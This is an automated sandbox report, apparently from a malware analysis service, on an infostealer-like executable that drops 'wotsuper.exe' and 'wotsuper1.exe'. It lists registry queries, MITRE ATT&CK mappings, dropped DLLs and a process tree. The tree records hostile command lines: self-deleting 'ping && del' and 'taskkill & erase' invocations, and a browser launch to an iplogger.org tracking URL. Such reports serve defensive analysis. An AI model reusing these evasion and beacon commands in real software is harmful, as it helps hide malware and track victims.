Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE40\DisplayName	wotsuper1.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DXM_Runtime\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0409-1000-0000000FF1CE}\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook\DisplayName	wotsuper1.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE40\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00A1-0409-1000-0000000FF1CE}\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data\DisplayName	wotsuper1.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F06417080FF}\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0011-0000-1000-0000000FF1CE}\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860\DisplayName	wotsuper1.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0015-0409-1000-0000000FF1CE}\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0044-0409-1000-0000000FF1CE}\DisplayName	wotsuper.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0019-0409-1000-0000000FF1CE}\DisplayName	wotsuper.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

1112 taskkill.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

472 PING.EXE

pid	process
1112	taskkill.exe

pid	process
472	PING.EXE

C:\Users\Admin\AppData\Local\Temp\bf3b6f2d4a4e2619baee470543f8e993.exe
"C:\Users\Admin\AppData\Local\Temp\bf3b6f2d4a4e2619baee470543f8e993.exe"
1⤵
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
- Drops file in Windows directory
- Drops file in Program Files directory
- Checks for installed software on the system
PID:1492

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/1Ldta7.html
2⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
- Checks whether UAC is enabled
PID:1016

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1016 CREDAT:275457 /prefetch:2
3⤵
- Modifies Internet Explorer settings
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
- Checks whether UAC is enabled
PID:1892

C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe
"C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Checks for installed software on the system
PID:1616

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:1652

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
4⤵
- Runs ping.exe
PID:472

C:\Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe
"C:\Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
- Executes dropped EXE
- Checks processor information in registry
- Checks for installed software on the system
PID:532

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im wotsuper1.exe /f & erase C:\Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe & exit
3⤵
- Suspicious use of WriteProcessMemory
PID:1476

C:\Windows\SysWOW64\taskkill.exe
taskkill /im wotsuper1.exe /f
4⤵
- Suspicious use of AdjustPrivilegeToken
- Kills process with taskkill
PID:1112

C:\Windows\SysWOW64\regedit.exe
"C:\Windows\System32\regedit.exe" \s C:\Windows\wotsuper.reg
2⤵
- Runs .reg file with regedit
PID:1040

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

Web Service

Credential Access

Credentials in Files

2

T1081

Discovery

Query Registry

2

T1012

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe

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C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe

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C:\Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe

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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

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C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\j8hu3ld\imagestore.dat

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\FKTRDESE.txt

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\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe

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\Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe

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\Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe

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\ProgramData\mozglue.dll

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\ProgramData\msvcp140.dll

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\ProgramData\nss3.dll

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\ProgramData\vcruntime140.dll

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memory/472-23-0x0000000000000000-mapping.dmp

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memory/532-6-0x0000000000000000-mapping.dmp

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memory/1016-0-0x0000000000000000-mapping.dmp

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memory/1040-8-0x0000000000000000-mapping.dmp

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memory/1112-21-0x0000000000000000-mapping.dmp

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memory/1476-19-0x0000000000000000-mapping.dmp

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memory/1616-11-0x0000000000290000-0x00000000002AE000-memory.dmp

Filesize
120KB

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memory/1616-9-0x0000000010000000-0x0000000010020000-memory.dmp

Filesize
128KB

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memory/1616-2-0x0000000000000000-mapping.dmp

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memory/1652-22-0x0000000000000000-mapping.dmp

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memory/1892-12-0x0000000000000000-mapping.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads